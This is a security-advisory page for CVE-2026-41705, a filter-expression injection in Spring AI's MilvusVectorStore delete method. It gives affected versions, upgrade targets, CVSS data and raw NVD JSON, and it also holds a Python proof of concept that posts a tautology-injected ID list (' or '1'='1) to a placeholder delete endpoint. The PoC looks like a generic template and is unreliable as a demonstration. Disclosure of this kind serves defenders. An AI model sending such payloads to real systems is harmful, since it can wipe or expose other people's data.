Security Vulnerability Report
中文
CVE-2026-41705 CVSS 8.6 HIGH

CVE-2026-41705

Published: 2026-05-09 01:16:09
Last Modified: 2026-05-09 01:16:09

Description

Spring AI's MilvusVectorStore#doDelete(List) implementation is vulnerable to filter-expression injection via unsanitized document IDs. Spring AI 1.0.x: affected from 1.0.0 through latest 1.0.x; upgrade to 1.0.7 or greater. Spring AI 1.1.x: affected from 1.1.0 through latest 1.1.x; upgrade to 1.1.6 or greater.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Spring AI 1.0.0 至 1.0.x (最新版)
Spring AI 1.1.0 至 1.1.x (最新版)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Target URL (Example) target_url = "http://vulnerable-app/api/delete" # Malicious payload simulating a filter expression injection. # Instead of a normal ID, we inject a logical expression. # Note: The exact syntax depends on the Milvus expression language implementation. malicious_ids = [ "normal_id_123", "' or '1'='1" # Attempting to inject a tautology to affect all records ] payload = { "ids": malicious_ids } headers = { "Content-Type": "application/json" } try: # Send the malicious request response = requests.post(target_url, data=json.dumps(payload), headers=headers) # Check response status if response.status_code == 200: print("[+] Request sent successfully. Check database for impact.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41705", "sourceIdentifier": "[email protected]", "published": "2026-05-09T01:16:08.690", "lastModified": "2026-05-09T01:16:08.690", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Spring AI's MilvusVectorStore#doDelete(List) implementation is vulnerable to filter-expression injection via unsanitized document IDs.\nSpring AI 1.0.x: affected from 1.0.0 through latest 1.0.x; upgrade to 1.0.7 or greater. Spring AI 1.1.x: affected from 1.1.0 through latest 1.1.x; upgrade to 1.1.6 or greater."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-917"}]}], "references": [{"url": "https://spring.io/security/cve-2026-41705", "source": "[email protected]"}]}}